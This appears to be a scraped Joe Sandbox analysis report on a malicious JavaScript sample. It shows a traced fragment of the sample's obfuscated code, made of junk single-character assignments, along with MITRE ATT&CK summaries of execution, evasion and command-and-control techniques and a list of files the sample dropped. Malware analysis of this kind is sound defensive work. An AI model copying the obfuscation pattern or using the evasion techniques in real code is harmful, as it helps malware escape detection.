1397	vedskrrtw = "y";
1398	vedskrrtw = "X";
1399	vedskrrtw = "D";
1400	vedskrrtw = "V";
1401	vedskrrtw = "O";
1402	vedskrrtw = "r";
1403	vedskrrtw = "p";
1404	vedskrrtw = "y";
1405	vedskrrtw = "e";
1406	vedskrrtw = "W";
1407	vedskrrtw = "C";
1408	vedskrrtw = "a";
1409	vedskrrtw = "R";
1410	vedskrrtw = "N";
1411	vedskrrtw = "L";
1412	vedskrrtw = "F";
1413	vedskrrtw = "v";
1414	lhpqmybi = "E";
1415	lhpqmybi = "D";
1416	lhpqmybi = "g";
1417	lhpqmybi = "f";
1418	lhpqmybi = "T";
1419	lhpqmybi = "q";
1420	lhpqmybi = "E";
1421	lhpqmybi = "f";
1422	lhpqmybi = "l";
1423	lhpqmybi = "K";
1424	lhpqmybi = "K";
1425	wluzm = "I";
1426	wluzm = "t";
1427	wluzm = "Q";
1428	wluzm = "m";
1429	wluzm = "F";
1430	wluzm = "n";
1431	wluzm = "q";
1432	wluzm = "d";
1433	wluzm = "j";
1434	wluzm = "P";
1435	wluzm = "B";
1436	wluzm = "S";
1437	wluzm = "Q";
1438	wluzm = "G";
1439	wluzm = "I";
1440	wluzm = "n";
1441	wluzm = "L";
1442	wluzm = "q";
1443	wluzm = "D";
1444	wluzm = "o";
1445	wluzm = "t";
1446	wluzm = "L";
1447	wluzm = "K";
1448	wluzm = "C";
1449	wluzm = "I";
1450	wluzm = "I";
1451	wluzm = "T";
1452	wluzm = "H";
1453	wluzm = "y";
1454	wluzm = "X";
1455	wluzm = "C";
1456	wluzm = "T";
1457	wluzm = "V";
1458	wluzm = "z";
1459	wluzm = "p";
1460	wluzm = "M";
1461	wluzm = "D";
1462	wluzm = "Y";
1463	wluzm = "v";
1464	wluzm = "\\";
1465	pogayin = "N";
1466	pogayin = "A";
1467	pogayin = "v";
1468	pogayin = "u";
1469	pogayin = "J";
1470	pogayin = "u";
1471	pogayin = "s";
1472	pogayin = "@";
1473	qeekp = "J";
1474	qeekp = "I";
1475	qeekp = "J";
1476	qeekp = "V";
1477	qeekp = "9";
1478	dtoitw = "O";
1479	dtoitw = "D";
1480	dtoitw = "b";
1481	dtoitw = "S";
1482	dtoitw = "q";
1483	dtoitw = "y";
1484	dtoitw = "Q";
1485	dtoitw = "x";
1486	dtoitw = "k";
1487	dtoitw = "b";
1488	dtoitw = "W";
1489	dtoitw = "d";
1490	dtoitw = "l";
1491	dtoitw = "Q";
1492	dtoitw = "M";
1493	dtoitw = "K";
1494	dtoitw = "F";
1495	dtoitw = "D";
1496	dtoitw = "U";
1497	dtoitw = "n";
1498	dtoitw = "v";
1499	dtoitw = "n";
1500	btefb = "s";
1501	btefb = "W";
1502	btefb = "D";
1503	btefb = "t";
1504	btefb = "x";
1505	btefb = "F";
1506	btefb = "V";
1507	btefb = "y";
1508	btefb = "i";
1509	btefb = "n";
1510	btefb = "f";
1511	btefb = "o";
1512	btefb = "R";
1513	btefb = "V";
1514	btefb = "L";
1515	btefb = "O";
1516	btefb = "W";
1517	btefb = "u";
1518	btefb = "U";
1519	btefb = "a";
1520	btefb = "Z";
1521	btefb = "y";
1522	btefb = "S";
1523	btefb = "e";
1524	btefb = "z";
1525	btefb = "a";
1526	btefb = "x";
1527	btefb = "B";
1528	btefb = "N";
1529	btefb = "t";
1530	btefb = "e";
1531	btefb = "l";
1532	btefb = "K";
1533	btefb = "Q";
1534	btefb = "b";
1535	btefb = "c";
1536	btefb = "e";
1537	ejsmw = "S";
1538	ejsmw = "n";
1539	ejsmw = "s";
1540	ejsmw = "m";
1541	ejsmw = "E";
1542	ejsmw = "z";
1543	ejsmw = "q";
1544	ejsmw = "G";
1545	ejsmw = "e";
1546	ejsmw = "q";
1547	ejsmw = "M";
1548	ejsmw = "v";
1549	ejsmw = "v";
1550	ejsmw = "n";
1551	ejsmw = "Y";
1552	ejsmw = "K";
1553	ejsmw = "W";
1554	ejsmw = "O";
1555	ejsmw = "m";
1556	ejsmw = "t";
1557	ejsmw = "g";
1558	ejsmw = "j";
1559	tstqmhzbp ( );	tstqmhzbp() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 219751261441155514.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\797feb75-7121-465b-9417-eaa0fb0556e5.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1492

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
219751261441155514.js